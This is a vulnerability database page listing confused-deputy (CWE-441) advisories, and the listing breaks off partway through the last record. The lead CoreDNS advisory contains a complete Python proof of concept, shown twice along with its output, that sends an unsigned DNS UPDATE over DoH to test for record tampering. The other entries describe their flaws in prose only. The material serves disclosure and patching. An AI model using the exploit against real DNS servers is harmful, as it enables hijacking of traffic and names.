Common Weakness Enumeration

CWE-441

Allowed-with-Review

Unintended Proxy or Intermediary ('Confused Deputy')

Abstraction: Class · Status: Draft

The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.

274 vulnerabilities reference this CWE, most recent first.

GHSA-9GM5-9RFH-M6VX

Vulnerability from github – Published: 2026-09-17 20:33 – Updated: 2026-09-17 20:33
VLAI
Summary
CoreDNS DoH/DoQ/gRPC bypass UPDATE rejection enforced on UDP/TCP
Details

Summary

CoreDNS accepted RFC 2136 UPDATE messages over DoH, DoH3, DoQ, and DNS-over-gRPC, then allowed the proxy/forward plugin to send them unchanged to an upstream DNS server. UDP, TCP, and DoT rejected the same opcode before plugin dispatch.

If an update-capable upstream trusts CoreDNS's source address or authenticated connection instead of requiring end-to-end TSIG, an unauthenticated client can use CoreDNS to add, replace, or delete DNS records.

Details

The affected listeners called dns.Msg.Unpack without the request policy used by the UDP/TCP server:

CoreDNS routed the message using its Zone question without checking the opcode. forward then passed the original message to the upstream.

By contrast, dns.DefaultMsgAcceptFunc allows only QUERY and NOTIFY. The fix applies that policy to the raw header via dnsutil.UnpackRequest before any affected transport dispatches the request.

PoC

The reproducer starts a standard-library synthetic DNS upstream on loopback, sends an unsigned UPDATE over DoH, and reports whether the upstream received the record. It supports both UDP and TCP because the forward plugin may select either transport. It does not contact or modify a real authoritative server.

Clone the repository and build the server:

git clone git@github.com:coredns/coredns.git
cd coredns
git checkout d5e54040ffab9a5c12c6de27b66f59f62b385195 # latest pre-fix commit from main
go build -tags=grpcnotrace -o coredns .

Save this as Corefile.poc:

https://.:8053 {
    bind 127.0.0.1
    tls plugin/tls/test_cert.pem plugin/tls/test_key.pem
    forward . 127.0.0.1:15354
}

Save this as poc.py:

#!/usr/bin/env python3
import argparse
import http.client
import queue
import socket
import ssl
import struct
import threading


OPCODE_UPDATE = 5
TYPE_A = 1
CLASS_IN = 1


def encode_name(name):
    return b"".join(bytes((len(label),)) + label.encode() for label in name.rstrip(".").split(".")) + b"\x00"


def update_message():
    zone = encode_name("example.com.") + struct.pack("!HH", 6, CLASS_IN)
    update = (
        encode_name("foo.example.com.")
        + struct.pack("!HHIH", TYPE_A, CLASS_IN, 300, 4)
        + socket.inet_aton("192.0.2.123")
    )
    header = struct.pack("!HHHHHH", 0x1234, OPCODE_UPDATE << 11, 1, 0, 1, 0)
    return header + zone + update


def read_name(message, offset):
    labels = []
    end = None
    seen = set()
    while True:
        if offset >= len(message) or offset in seen:
            raise ValueError("invalid DNS name")
        seen.add(offset)
        length = message[offset]
        if length & 0xC0 == 0xC0:
            if offset + 1 >= len(message):
                raise ValueError("truncated compression pointer")
            if end is None:
                end = offset + 2
            offset = ((length & 0x3F) << 8) | message[offset + 1]
            continue
        offset += 1
        if length == 0:
            return ".".join(labels) + ".", end if end is not None else offset
        if length & 0xC0 or offset + length > len(message):
            raise ValueError("invalid DNS label")
        labels.append(message[offset : offset + length].decode("ascii"))
        offset += length


def question_end(message, count):
    offset = 12
    for _ in range(count):
        _, offset = read_name(message, offset)
        offset += 4
        if offset > len(message):
            raise ValueError("truncated question")
    return offset


def parse_update(message):
    _, flags, qdcount, _, nscount, _ = struct.unpack_from("!HHHHHH", message)
    if (flags >> 11) & 0xF != OPCODE_UPDATE or qdcount != 1 or nscount < 1:
        return None
    offset = question_end(message, qdcount)
    name, offset = read_name(message, offset)
    rrtype, rrclass, ttl, rdlength = struct.unpack_from("!HHIH", message, offset)
    offset += 10
    rdata = message[offset : offset + rdlength]
    if rrtype != TYPE_A or rrclass != CLASS_IN or len(rdata) != 4:
        return None
    return name, ttl, socket.inet_ntoa(rdata)


def response_for(message):
    ident, flags, qdcount, _, _, _ = struct.unpack_from("!HHHHHH", message)
    end = question_end(message, qdcount)
    response_flags = flags | 0x8000
    return struct.pack("!HHHHHH", ident, response_flags, qdcount, 0, 0, 0) + message[12:end]


def handle_message(message, peer, received):
    try:
        update = parse_update(message)
        response = response_for(message)
    except (ValueError, struct.error):
        return None
    if update is not None:
        received.put((peer, update))
    return response


def serve_udp(sock, received, stopped):
    while not stopped.is_set():
        try:
            message, peer = sock.recvfrom(65535)
        except socket.timeout:
            continue
        except OSError:
            return
        response = handle_message(message, peer, received)
        if response is not None:
            sock.sendto(response, peer)


def recv_exact(connection, size, stopped):
    data = bytearray()
    while len(data) < size and not stopped.is_set():
        try:
            chunk = connection.recv(size - len(data))
        except socket.timeout:
            continue
        if not chunk:
            return None
        data.extend(chunk)
    return bytes(data) if len(data) == size else None


def serve_tcp(sock, received, stopped):
    while not stopped.is_set():
        try:
            connection, peer = sock.accept()
        except socket.timeout:
            continue
        except OSError:
            return
        with connection:
            connection.settimeout(0.1)
            while not stopped.is_set():
                length = recv_exact(connection, 2, stopped)
                if length is None:
                    break
                message = recv_exact(connection, struct.unpack("!H", length)[0], stopped)
                if message is None:
                    break
                response = handle_message(message, peer, received)
                if response is not None:
                    connection.sendall(struct.pack("!H", len(response)) + response)


def send_doh(host, port, payload, timeout):
    context = ssl._create_unverified_context()
    connection = http.client.HTTPSConnection(host, port, timeout=timeout, context=context)
    try:
        connection.request(
            "POST",
            "/dns-query",
            body=payload,
            headers={"Content-Type": "application/dns-message"},
        )
        response = connection.getresponse()
        body = response.read()
        return response.status, len(body)
    finally:
        connection.close()


def main():
    parser = argparse.ArgumentParser(description="Probe whether CoreDNS forwards RFC 2136 UPDATE over DoH")
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--port", type=int, default=8053)
    parser.add_argument("--upstream-host", default="127.0.0.1")
    parser.add_argument("--upstream-port", type=int, default=15354)
    parser.add_argument("--timeout", type=float, default=2.0)
    parser.add_argument("--expect", choices=("forwarded", "blocked", "either"), default="either")
    args = parser.parse_args()

    received = queue.Queue()
    stopped = threading.Event()
    udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udp_sock.settimeout(0.1)
    udp_sock.bind((args.upstream_host, args.upstream_port))
    tcp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    tcp_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    tcp_sock.settimeout(0.1)
    tcp_sock.bind((args.upstream_host, args.upstream_port))
    tcp_sock.listen()
    threads = [
        threading.Thread(target=serve_udp, args=(udp_sock, received, stopped), daemon=True),
        threading.Thread(target=serve_tcp, args=(tcp_sock, received, stopped), daemon=True),
    ]
    for thread in threads:
        thread.start()

    payload = update_message()
    try:
        status, response_bytes = send_doh(args.host, args.port, payload, args.timeout)
        try:
            peer, update = received.get(timeout=args.timeout)
        except queue.Empty:
            peer = update = None
    finally:
        stopped.set()
        udp_sock.close()
        tcp_sock.close()
        for thread in threads:
            thread.join(timeout=1)

    print("payload=%d opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123" % len(payload))
    print("http_status=%d response_bytes=%d" % (status, response_bytes))
    if update is None:
        result = "blocked"
        print("upstream_received_update=false")
    else:
        result = "forwarded"
        name, ttl, address = update
        print("upstream_received_update=true source=%s:%d" % peer)
        print("upstream_record=%s %d IN A %s" % (name, ttl, address))
    print("result=%s" % result)

    if args.expect != "either" and args.expect != result:
        raise SystemExit("expected %s, got %s" % (args.expect, result))


if __name__ == "__main__":
    main()

Start the vulnerable revision:

./coredns -conf Corefile.poc

In a second terminal, run the probe:

$ python3 poc.py --expect forwarded
payload=60 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123
http_status=200 response_bytes=29
upstream_received_update=true source=127.0.0.1:52391
upstream_record=foo.example.com. 300 IN A 192.0.2.123
result=forwarded

The ephemeral source port varies. The output confirms that the upstream saw the complete UPDATE as a request originating from CoreDNS.

For comparison, build and start CoreDNS with the fix:

git checkout 530b0a5ff2ad68cc0421f10dd93568945cc671c9 # fix commit from main
go build -tags=grpcnotrace -o coredns-fixed .
./coredns-fixed -conf Corefile.poc

The same probe is rejected before reaching the synthetic upstream:

$ python3 poc.py --expect blocked
payload=62 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123
http_status=400 response_bytes=16
upstream_received_update=false
result=blocked

Impact

Exploitation requires all of the following:

  • an attacker can reach a CoreDNS DoH, DoH3, DoQ, or DNS-over-gRPC listener
  • the selected proxy/forward target accepts RFC 2136 UPDATE
  • the upstream trusts CoreDNS's source address or connection and does not require an attacker-unknown TSIG

The upstream sees the UPDATE as originating from CoreDNS. A successful attack can redirect traffic, take over names, alter mail routing, or disrupt the writable zone. Requiring and validating end-to-end TSIG prevents the demonstrated attack.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.14.6"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/coredns/coredns"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.14.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-86003"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T20:33:05Z",
    "nvd_published_at": "2026-09-16T19:17:51Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nCoreDNS accepted [RFC 2136](https://datatracker.ietf.org/doc/html/rfc2136) UPDATE messages over DoH, DoH3, DoQ, and DNS-over-gRPC, then allowed the `proxy`/`forward` plugin to send them unchanged to an upstream DNS server. UDP, TCP, and DoT rejected the same opcode before plugin dispatch.\n\nIf an update-capable upstream trusts CoreDNS\u0027s source address or authenticated connection instead of requiring end-to-end TSIG, an unauthenticated client can use CoreDNS to add, replace, or delete DNS records.\n\n### Details\n\nThe affected listeners called `dns.Msg.Unpack` without the request policy used by the UDP/TCP server:\n\n- [DoH and DoH3](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/pkg/doh/doh.go#L134-L155)\n- [DoQ](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/core/dnsserver/server_quic.go#L212-L219)\n- [DNS-over-gRPC](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/core/dnsserver/server_grpc.go#L176-L184)\n\nCoreDNS routed the message using its Zone question without checking the opcode. [`forward`](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/forward/forward.go#L113-L118) then passed the original message to the [upstream](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/pkg/proxy/connect.go#L150-L167).\n\nBy contrast, [`dns.DefaultMsgAcceptFunc`](https://github.com/miekg/dns/blob/v1.1.72/acceptfunc.go#L33-L57) allows only QUERY and NOTIFY. The fix applies that policy to the raw header via [`dnsutil.UnpackRequest`](https://github.com/coredns/coredns/blob/530b0a5ff2ad68cc0421f10dd93568945cc671c9/plugin/pkg/dnsutil/message.go#L13-L23) before any affected transport dispatches the request.\n\n### PoC\n\nThe reproducer starts a standard-library synthetic DNS upstream on loopback, sends an unsigned UPDATE over DoH, and reports whether the upstream received the record. It supports both UDP and TCP because the `forward` plugin may select either transport. It does not contact or modify a real authoritative server.\n\nClone the repository and build the server:\n\n```bash\ngit clone git@github.com:coredns/coredns.git\ncd coredns\ngit checkout d5e54040ffab9a5c12c6de27b66f59f62b385195 # latest pre-fix commit from main\ngo build -tags=grpcnotrace -o coredns .\n```\n\nSave this as `Corefile.poc`:\n\n```text\nhttps://.:8053 {\n    bind 127.0.0.1\n    tls plugin/tls/test_cert.pem plugin/tls/test_key.pem\n    forward . 127.0.0.1:15354\n}\n```\n\nSave this as `poc.py`:\n\n```python\n#!/usr/bin/env python3\nimport argparse\nimport http.client\nimport queue\nimport socket\nimport ssl\nimport struct\nimport threading\n\n\nOPCODE_UPDATE = 5\nTYPE_A = 1\nCLASS_IN = 1\n\n\ndef encode_name(name):\n    return b\"\".join(bytes((len(label),)) + label.encode() for label in name.rstrip(\".\").split(\".\")) + b\"\\x00\"\n\n\ndef update_message():\n    zone = encode_name(\"example.com.\") + struct.pack(\"!HH\", 6, CLASS_IN)\n    update = (\n        encode_name(\"foo.example.com.\")\n        + struct.pack(\"!HHIH\", TYPE_A, CLASS_IN, 300, 4)\n        + socket.inet_aton(\"192.0.2.123\")\n    )\n    header = struct.pack(\"!HHHHHH\", 0x1234, OPCODE_UPDATE \u003c\u003c 11, 1, 0, 1, 0)\n    return header + zone + update\n\n\ndef read_name(message, offset):\n    labels = []\n    end = None\n    seen = set()\n    while True:\n        if offset \u003e= len(message) or offset in seen:\n            raise ValueError(\"invalid DNS name\")\n        seen.add(offset)\n        length = message[offset]\n        if length \u0026 0xC0 == 0xC0:\n            if offset + 1 \u003e= len(message):\n                raise ValueError(\"truncated compression pointer\")\n            if end is None:\n                end = offset + 2\n            offset = ((length \u0026 0x3F) \u003c\u003c 8) | message[offset + 1]\n            continue\n        offset += 1\n        if length == 0:\n            return \".\".join(labels) + \".\", end if end is not None else offset\n        if length \u0026 0xC0 or offset + length \u003e len(message):\n            raise ValueError(\"invalid DNS label\")\n        labels.append(message[offset : offset + length].decode(\"ascii\"))\n        offset += length\n\n\ndef question_end(message, count):\n    offset = 12\n    for _ in range(count):\n        _, offset = read_name(message, offset)\n        offset += 4\n        if offset \u003e len(message):\n            raise ValueError(\"truncated question\")\n    return offset\n\n\ndef parse_update(message):\n    _, flags, qdcount, _, nscount, _ = struct.unpack_from(\"!HHHHHH\", message)\n    if (flags \u003e\u003e 11) \u0026 0xF != OPCODE_UPDATE or qdcount != 1 or nscount \u003c 1:\n        return None\n    offset = question_end(message, qdcount)\n    name, offset = read_name(message, offset)\n    rrtype, rrclass, ttl, rdlength = struct.unpack_from(\"!HHIH\", message, offset)\n    offset += 10\n    rdata = message[offset : offset + rdlength]\n    if rrtype != TYPE_A or rrclass != CLASS_IN or len(rdata) != 4:\n        return None\n    return name, ttl, socket.inet_ntoa(rdata)\n\n\ndef response_for(message):\n    ident, flags, qdcount, _, _, _ = struct.unpack_from(\"!HHHHHH\", message)\n    end = question_end(message, qdcount)\n    response_flags = flags | 0x8000\n    return struct.pack(\"!HHHHHH\", ident, response_flags, qdcount, 0, 0, 0) + message[12:end]\n\n\ndef handle_message(message, peer, received):\n    try:\n        update = parse_update(message)\n        response = response_for(message)\n    except (ValueError, struct.error):\n        return None\n    if update is not None:\n        received.put((peer, update))\n    return response\n\n\ndef serve_udp(sock, received, stopped):\n    while not stopped.is_set():\n        try:\n            message, peer = sock.recvfrom(65535)\n        except socket.timeout:\n            continue\n        except OSError:\n            return\n        response = handle_message(message, peer, received)\n        if response is not None:\n            sock.sendto(response, peer)\n\n\ndef recv_exact(connection, size, stopped):\n    data = bytearray()\n    while len(data) \u003c size and not stopped.is_set():\n        try:\n            chunk = connection.recv(size - len(data))\n        except socket.timeout:\n            continue\n        if not chunk:\n            return None\n        data.extend(chunk)\n    return bytes(data) if len(data) == size else None\n\n\ndef serve_tcp(sock, received, stopped):\n    while not stopped.is_set():\n        try:\n            connection, peer = sock.accept()\n        except socket.timeout:\n            continue\n        except OSError:\n            return\n        with connection:\n            connection.settimeout(0.1)\n            while not stopped.is_set():\n                length = recv_exact(connection, 2, stopped)\n                if length is None:\n                    break\n                message = recv_exact(connection, struct.unpack(\"!H\", length)[0], stopped)\n                if message is None:\n                    break\n                response = handle_message(message, peer, received)\n                if response is not None:\n                    connection.sendall(struct.pack(\"!H\", len(response)) + response)\n\n\ndef send_doh(host, port, payload, timeout):\n    context = ssl._create_unverified_context()\n    connection = http.client.HTTPSConnection(host, port, timeout=timeout, context=context)\n    try:\n        connection.request(\n            \"POST\",\n            \"/dns-query\",\n            body=payload,\n            headers={\"Content-Type\": \"application/dns-message\"},\n        )\n        response = connection.getresponse()\n        body = response.read()\n        return response.status, len(body)\n    finally:\n        connection.close()\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"Probe whether CoreDNS forwards RFC 2136 UPDATE over DoH\")\n    parser.add_argument(\"--host\", default=\"127.0.0.1\")\n    parser.add_argument(\"--port\", type=int, default=8053)\n    parser.add_argument(\"--upstream-host\", default=\"127.0.0.1\")\n    parser.add_argument(\"--upstream-port\", type=int, default=15354)\n    parser.add_argument(\"--timeout\", type=float, default=2.0)\n    parser.add_argument(\"--expect\", choices=(\"forwarded\", \"blocked\", \"either\"), default=\"either\")\n    args = parser.parse_args()\n\n    received = queue.Queue()\n    stopped = threading.Event()\n    udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n    udp_sock.settimeout(0.1)\n    udp_sock.bind((args.upstream_host, args.upstream_port))\n    tcp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    tcp_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    tcp_sock.settimeout(0.1)\n    tcp_sock.bind((args.upstream_host, args.upstream_port))\n    tcp_sock.listen()\n    threads = [\n        threading.Thread(target=serve_udp, args=(udp_sock, received, stopped), daemon=True),\n        threading.Thread(target=serve_tcp, args=(tcp_sock, received, stopped), daemon=True),\n    ]\n    for thread in threads:\n        thread.start()\n\n    payload = update_message()\n    try:\n        status, response_bytes = send_doh(args.host, args.port, payload, args.timeout)\n        try:\n            peer, update = received.get(timeout=args.timeout)\n        except queue.Empty:\n            peer = update = None\n    finally:\n        stopped.set()\n        udp_sock.close()\n        tcp_sock.close()\n        for thread in threads:\n            thread.join(timeout=1)\n\n    print(\"payload=%d opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123\" % len(payload))\n    print(\"http_status=%d response_bytes=%d\" % (status, response_bytes))\n    if update is None:\n        result = \"blocked\"\n        print(\"upstream_received_update=false\")\n    else:\n        result = \"forwarded\"\n        name, ttl, address = update\n        print(\"upstream_received_update=true source=%s:%d\" % peer)\n        print(\"upstream_record=%s %d IN A %s\" % (name, ttl, address))\n    print(\"result=%s\" % result)\n\n    if args.expect != \"either\" and args.expect != result:\n        raise SystemExit(\"expected %s, got %s\" % (args.expect, result))\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nStart the vulnerable revision:\n\n```sh\n./coredns -conf Corefile.poc\n```\n\nIn a second terminal, run the probe:\n\n```console\n$ python3 poc.py --expect forwarded\npayload=60 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123\nhttp_status=200 response_bytes=29\nupstream_received_update=true source=127.0.0.1:52391\nupstream_record=foo.example.com. 300 IN A 192.0.2.123\nresult=forwarded\n```\n\nThe ephemeral source port varies. The output confirms that the upstream saw the complete UPDATE as a request originating from CoreDNS.\n\nFor comparison, build and start CoreDNS with the fix:\n\n```sh\ngit checkout 530b0a5ff2ad68cc0421f10dd93568945cc671c9 # fix commit from main\ngo build -tags=grpcnotrace -o coredns-fixed .\n./coredns-fixed -conf Corefile.poc\n```\n\nThe same probe is rejected before reaching the synthetic upstream:\n\n```console\n$ python3 poc.py --expect blocked\npayload=62 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123\nhttp_status=400 response_bytes=16\nupstream_received_update=false\nresult=blocked\n```\n\n### Impact\n\nExploitation requires all of the following:\n\n- an attacker can reach a CoreDNS DoH, DoH3, DoQ, or DNS-over-gRPC listener\n- the selected `proxy`/`forward` target accepts RFC 2136 UPDATE\n- the upstream trusts CoreDNS\u0027s source address or connection and does not require an attacker-unknown TSIG\n\nThe upstream sees the UPDATE as originating from CoreDNS. A successful attack can redirect traffic, take over names, alter mail routing, or disrupt the writable zone. Requiring and validating end-to-end TSIG prevents the demonstrated attack.",
  "id": "GHSA-9gm5-9rfh-m6vx",
  "modified": "2026-09-17T20:33:06Z",
  "published": "2026-09-17T20:33:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/coredns/coredns/security/advisories/GHSA-9gm5-9rfh-m6vx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86003"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coredns/coredns/commit/530b0a5ff2ad68cc0421f10dd93568945cc671c9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/coredns/coredns"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coredns/coredns/releases/tag/v1.14.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CoreDNS DoH/DoQ/gRPC bypass UPDATE rejection enforced on UDP/TCP"
}

GHSA-C36Q-V25W-M4PC

Vulnerability from github – Published: 2026-03-10 21:32 – Updated: 2026-03-11 18:30
VLAI
Details

In gmc_ddr_handle_mba_mr_req of gmc_mba_ddr.c, there is a possible escalation of privileges due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-0107"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-10T21:16:44Z",
    "severity": "HIGH"
  },
  "details": "In gmc_ddr_handle_mba_mr_req of gmc_mba_ddr.c, there is a possible escalation of privileges due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-c36q-v25w-m4pc",
  "modified": "2026-03-11T18:30:28Z",
  "published": "2026-03-10T21:32:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0107"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/docs/security/bulletin/2026/2026-03-01"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/docs/security/bulletin/pixel/2026/2026-03-01"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/pixel/2026-03-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C66C-VQ6W-FVH5

Vulnerability from github – Published: 2026-06-05 15:25 – Updated: 2026-06-05 15:25
VLAI
Summary
Omni: Operator can traverse image-factory API paths via unsanitized `talos_version` in CreateSchematic
Details

Summary

managementServer.CreateSchematic (internal/backend/grpc/schematics.go) passes the caller-controlled TalosVersion field directly to imageFactoryClient.OverlaysVersions, which embeds it verbatim into a fmt.Sprintf("/version/%s/overlays/official", talosVersion) path template. url.URL.JoinPath resolves any ../ sequences in that path, allowing an authenticated Operator to rewrite the URL path and force Omni to issue HTTP GET requests to unintended paths on the configured image-factory server. Error body content from those unintended endpoints is returned to the caller.

Severity

  • Attack Vector: Network: exploited via the gRPC CreateSchematic API endpoint.
  • Attack Complexity: Low: once the attacker holds an Operator credential and has identified a media ID with an overlay, exploitation is a single API call.
  • Privileges Required: High: role.Operator is required, which has administrative capabilities on Omni.
  • User Interaction: None.
  • Scope: Unchanged: the traversal is constrained to the configured image-factory host; the attacker cannot redirect Omni to an arbitrary external server.
  • Confidentiality Impact: Low: error body content from unintended image-factory endpoints is reflected back to the operator, potentially leaking server-internal information.
  • Integrity Impact: None: only HTTP GET requests are issued; no write operations are performed.
  • Availability Impact: None.

Impact

  • Same-host path traversal: An authenticated Operator can force Omni to issue GET requests to arbitrary URL paths on the configured image-factory server, bypassing the intended versioned overlay API structure.
  • Error-body disclosure: HTTP error responses from unintended image-factory endpoints are reflected back to the operator, potentially leaking server-internal diagnostics or sensitive path content.
  • Internal network probing: In deployments using a private image-factory instance on an internal network, the attacker can probe endpoint existence and partial responses through error-text differences.
  • Depth control: By varying the number of ../ prefixes in talosVersion, the attacker can reach any path hierarchy on the image-factory host.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siderolabs/omni"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siderolabs/omni"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.7.0"
            },
            {
              "fixed": "1.7.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45723"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-209",
      "CWE-22",
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-05T15:25:58Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Summary\n\n`managementServer.CreateSchematic` (`internal/backend/grpc/schematics.go`) passes the caller-controlled `TalosVersion` field directly to `imageFactoryClient.OverlaysVersions`, which embeds it verbatim into a `fmt.Sprintf(\"/version/%s/overlays/official\", talosVersion)` path template. `url.URL.JoinPath` resolves any `../` sequences in that path, allowing an authenticated Operator to rewrite the URL path and force Omni to issue HTTP GET requests to unintended paths on the configured image-factory server. Error body content from those unintended endpoints is returned to the caller.\n\n## Severity\n\n- **Attack Vector:** Network: exploited via the gRPC `CreateSchematic` API endpoint.\n- **Attack Complexity:** Low: once the attacker holds an Operator credential and has identified a media ID with an overlay, exploitation is a single API call.\n- **Privileges Required:** High: `role.Operator` is required, which has administrative capabilities on Omni.\n- **User Interaction:** None.\n- **Scope:** Unchanged: the traversal is constrained to the configured image-factory host; the attacker cannot redirect Omni to an arbitrary external server.\n- **Confidentiality Impact:** Low: error body content from unintended image-factory endpoints is reflected back to the operator, potentially leaking server-internal information.\n- **Integrity Impact:** None: only HTTP GET requests are issued; no write operations are performed.\n- **Availability Impact:** None.\n\n## Impact\n\n- **Same-host path traversal**: An authenticated Operator can force Omni to issue GET requests to arbitrary URL paths on the configured image-factory server, bypassing the intended versioned overlay API structure.\n- **Error-body disclosure**: HTTP error responses from unintended image-factory endpoints are reflected back to the operator, potentially leaking server-internal diagnostics or sensitive path content.\n- **Internal network probing**: In deployments using a private image-factory instance on an internal network, the attacker can probe endpoint existence and partial responses through error-text differences.\n- **Depth control**: By varying the number of `../` prefixes in `talosVersion`, the attacker can reach any path hierarchy on the image-factory host.\n\n## Credit\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
  "id": "GHSA-c66c-vq6w-fvh5",
  "modified": "2026-06-05T15:25:58Z",
  "published": "2026-06-05T15:25:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siderolabs/omni/security/advisories/GHSA-c66c-vq6w-fvh5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siderolabs/omni"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siderolabs/omni/releases/tag/v1.6.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siderolabs/omni/releases/tag/v1.7.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Omni: Operator can traverse image-factory API paths via unsanitized `talos_version` in CreateSchematic"
}

GHSA-C6JR-FJV5-8XFV

Vulnerability from github – Published: 2026-09-08 21:34 – Updated: 2026-09-10 15:32
VLAI
Details

In onCreate of SlicePermissionActivity.java, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-28614"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-08T19:17:53Z",
    "severity": "HIGH"
  },
  "details": "In onCreate of SlicePermissionActivity.java, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-c6jr-fjv5-8xfv",
  "modified": "2026-09-10T15:32:59Z",
  "published": "2026-09-08T21:34:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28614"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/docs/security/bulletin/2026/2026-09-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CC8C-28GJ-PX38

Vulnerability from github – Published: 2025-12-15 18:30 – Updated: 2025-12-16 20:40
VLAI
Summary
Misconfigured Internal Proxy in runtimes-inventory-rhel8-operator Grants Standard Users Full Cluster Administrator Access
Details

A flaw was found in runtimes-inventory-rhel8-operator. An internal proxy component is incorrectly configured. Because of this flaw, the proxy attaches the cluster's main administrative credentials to any command it receives, instead of only the specific reports it is supposed to handle.

This allows a standard user within the cluster to send unauthorized commands to the management platform, effectively acting with the full permissions of the cluster administrator. This could lead to unauthorized changes to the cluster's configuration or status on the Red Hat platform.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/RedHatInsights/runtimes-inventory-operator"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-20251211184433-5123422abee1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-11393"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
